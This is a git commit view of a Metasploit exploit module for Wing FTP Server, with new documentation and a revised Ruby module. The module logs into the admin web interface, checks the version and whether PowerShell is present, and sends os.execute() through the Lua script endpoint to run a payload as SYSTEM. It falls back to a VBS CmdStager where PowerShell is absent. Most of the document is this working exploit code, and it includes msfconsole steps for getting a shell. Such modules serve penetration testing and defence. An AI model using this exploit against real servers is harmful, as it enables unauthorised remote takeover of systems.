Land #11077, Improvements and documentation for wing_ftp_admin_exec

master
Wei Chen 2019-03-05 12:42:33 -06:00
commit 6765ed80d6
No known key found for this signature in database
GPG Key ID: 6E162ED2C01D9AAC
2 changed files with 158 additions and 45 deletions

View File

@ -0,0 +1,38 @@
## Description ##
This module exploits the embedded Lua interpreter in the admin web interface for versions 3.0.0 and above of Wing FTP Server. When supplying a specially crafted HTTP POST request an attacker can use os.execute() to execute arbitrary system commands on the target with SYSTEM privileges.
Only versions of Wing FTP Server after 3.0.0 ship with the Lua interpreter and the admin web interface. This makes versions < 3.0.0 presumably NOT vulnerable to this exploit, simply due to the fact that they do not have the capability execute commands this way.
Versions > 4.3.8 handle URL encoding differently compared to versions <= 4.3.8. Encoding the PowerShell payload with base64 allows it to work. CmdStager fails, however, as it cannot simply be base64 encoded like PowerShell. It is recommended to run `check` first before exploiting to get a feel for the vulnerable app. The module has a built-in check to detect `PowerShell` first before continuing with the exploit. It does so by calling `os.getenv()` to get environment variables, then searching for `PowerShell` case-insensitively. It will fall back to using `CmdStager` if `PowerShell` is absent and the version is <= 4.3.8.
The full changelog for Wing FTP Server can be found at [https://www.wftpserver.com/serverhistory.htm].
Information about the admin web interface can be found at [https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm].
## Vulnerable Application ##
All versions of Wing FTP Server from 3.0.0 and up are presumed vulnerable.
Upgraded module has been tested on a Windows Server 2019 Datacenter x64 with the following versions:
- Wing FTP Server 4.3.8
- Wing FTP Server 5.1.3
- Wing FTP Server 6.0.1
- Wing FTP Server 6.0.2
- Wing FTP Server 6.0.3
Original module was been tested on Windows 7 SP1 and Windows 8.1 with the following versions:
- Wing FTP Server 4.3.6
- Wing FTP Server 4.3.8
## Verification Steps ##
- [x] Start `msfconsole`
- [x] `use exploit/windows/ftp/wing_ftp_admin_exec`
- [x] `set RHOST <target-ip>`
- [x] `set USERNAME <valid-username>`
- [x] `set PASSWORD <valid-password>`
- [x] `exploit`
- [x] **Verify** that you get a shell

View File

@ -3,39 +3,44 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Wing FTP Server Authenticated Command Execution',
'Description' => %q{
This module exploits the embedded Lua interpreter in the admin web interface for
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
versions 3.0.0 and above. When supplying a specially crafted HTTP POST request
an attacker can use os.execute() to execute arbitrary system commands on
the target with SYSTEM privileges.
},
'Author' =>
[
'Nicholas Nam <nick[at]executionflow.org>'
'Nicholas Nam <nick[at]executionflow.org>',
'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # minor improvements
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.wftpserver.com' ]
['URL', 'http://www.wftpserver.com'],
['URL', 'https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm']
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
[ 'Windows VBS Stager', {} ]
['Wing FTP Server >= 3.0.0', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Jun 19 2014',
'DefaultTarget' => 0
))
'DefaultTarget' => 0))
register_options(
[
@ -45,53 +50,119 @@ class MetasploitModule < Msf::Exploit::Remote
], self.class
)
deregister_options('CMDSTAGER::FLAVOR')
deregister_options('CMDSTAGER::DECODER')
deregister_options('URIPATH')
deregister_options('SRVHOST')
deregister_options('SRVPORT')
end
def check
res = send_request_cgi(
{
'uri' => '/admin_login.html',
'method' => 'GET'
})
@session_cookie = ''
@version = ''
@psh = false
@vuln_check = false
if !res
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
elsif res.code != 200
fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
return Exploit::CheckCode::Appears
def check
@session_cookie = authenticate(datastore['USERNAME'], datastore['PASSWORD'])
if @session_cookie.nil?
return CheckCode::Unknown
end
Exploit::CheckCode::Safe
ver = send_request_cgi(
'uri' => '/admin_license.html',
'method' => 'POST',
'cookie' => @session_cookie,
'ctype' => 'text/plain;charset=UTF-8'
)
unless ver
vprint_error("Connection failed!")
return CheckCode::Unknown
end
unless ver.code == 200 && ver.body.include?('Wing FTP Server')
return CheckCode::Safe
end
@version = Gem::Version.new(ver.body.scan(/Wing FTP Server ([\d\.]+)/).flatten.first)
print_status("Found Wing FTP Server #{@version}")
# Lua capabilities and administrator console were added in version 3.0.0, so everything above that is (probably) vulnerable
unless @version >= Gem::Version.new('3.0.0')
@vuln_check = false
return CheckCode::Safe
end
@vuln_check = true
winenv_path = execute_command("PATH")
unless winenv_path
vprint_error("Connection failed!")
return CheckCode::Unknown
end
if winenv_path.code == 200
winenv_path.body.split(';').each do |path_val|
if (/powershell/i) =~ path_val
print_good("Found Powershell at #{path_val}")
@psh = true
end
end
else
@psh = false
end
@vuln_check = false
return CheckCode::Vulnerable
end
def exploit
username = datastore['USERNAME']
password = datastore['PASSWORD']
@session_cookie = authenticate(username, password)
vprint_status("Authenticating...")
unless [CheckCode::Vulnerable].include? check
fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
end
print_status("Sending payload")
# Execute the cmdstager, max length of the commands is ~1500
execute_cmdstager(flavor: :vbs, linemax: 1500)
if @psh == true
print_status('Executing payload via PowerShell...')
psh_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true)
execute_command(psh_command)
else
if @version > Gem::Version.new('4.3.8')
fail_with(Failure::NoTarget, "Version #{@version} detected and PowerShell not found, aborting exploit attempt!")
end
print_warning("PowerShell not found, will revert to CmdStager for payload delivery!")
print_status("Sending payload...")
# Execute the CmdStager, max length of the commands is ~1500
execute_cmdstager(flavor: :vbs, linemax: 1500)
end
end
def execute_command(cmd, _opts = {})
command = "os.execute('cmd /c #{cmd}')"
def execute_command(cmd,_opts = {})
# Wrap cmd with [[ ]] to prevent potential problems.
if @vuln_check == true
command = "print(os.getenv([[#{cmd}]]))"
else
command = "os.execute([[#{cmd}]])"
end
res = send_request_cgi(
'uri' => '/admin_lua_script.html',
'method' => 'POST',
'cookie' => @session_cookie,
'vars_post' => { 'command' => command }
'uri' => '/admin_lua_script.html',
'method' => 'POST',
'encode_params' => true,
'cookie' => @session_cookie,
'ctype' => 'text/plain;charset=UTF-8',
'vars_post' => { 'command' => command }
)
if res && res.code != 200
unless res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
end
if @vuln_check
return res
end
end
def authenticate(username, password)
print_status("Authenticating")
res = send_request_cgi(
'uri' => '/admin_loginok.html',
'method' => 'POST',
@ -104,19 +175,23 @@ class MetasploitModule < Msf::Exploit::Remote
}
)
uidadmin = ''
if !res
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
res.get_cookies.split(';').each do |cookie|
cookie.split(',').each do |value|
uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
end
end
else
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
unless res
print_error("#{peer} - Admin login page was unreachable.")
return nil
end
"UIDADMIN=#{uidadmin}"
if res.code == 200 && res.body =~ /location='main.html\?lang=english';/
res.get_cookies.split(';').each do |cookie|
cookie.split(',').each do |value|
if value.split('=')[0] =~ /UIDADMIN/
vprint_good("Authentication successful, got session cookie #{value.split('=')[1]}")
return res.get_cookies.split(';')[0]
end
end
end
end
print_error("#{peer} - Authentication failed!")
return nil
end
end